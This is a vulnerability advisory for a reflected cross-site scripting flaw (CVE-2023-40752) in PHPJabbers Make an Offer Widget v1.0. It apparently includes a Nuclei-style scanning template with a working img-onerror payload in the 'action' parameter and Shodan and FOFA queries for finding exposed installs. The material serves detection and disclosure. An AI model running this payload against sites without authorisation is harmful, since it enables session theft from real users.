CVE-2023-40752: PHPJabbers Make an Offer Widget v1.0 - Cross-Site Scripting

2025-08-01 PHPJabbers Make an Offer Widget v1.0 PoC Public

Description

There is a Cross Site Scripting (XSS) vulnerability in the "action" parameter of index.php in PHPJabbers Make an Offer Widget v1.0.

PoC

id: CVE-2023-40752

info:
  name: PHPJabbers Make an Offer Widget v1.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in the "action" parameter of index.php in PHPJabbers Make an Offer Widget v1.0.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the action parameter, potentially stealing session cookies and executing actions on behalf of users interacting with the Make an Offer Widget.
  remediation: |
    Update PHPJabbers Make an Offer Widget to a version newer than 1.0 that properly sanitizes the action parameter and encodes output to prevent XSS attacks.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40752
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-40752
    cwe-id: CWE-79
    epss-score: 0.01034
    epss-percentile: 0.62127
    cpe: cpe:2.3:a:phpjabbers:make_an_offer_widget:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"PHPJabbers"
    fofa-query: body="PHPJabbers"
    vendor: phpjabbers
    product: make_an_offer_widget
  tags: cve,cve2023,phpjabbers,make-an-offer-widget,xss,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=prompt(document.domain)>"
          - "didn't exists"
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402206e48c8030f0aaad9f85932254d9aebb773e7031a2aaf53cbfca3c19b580cafb0022034fa064e060e3d5e9d5484a3e170a8f9c0c07e269f5212c4eaa7136cc6f7cd72:922c64590222798bb761d5b6d8e72950

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References

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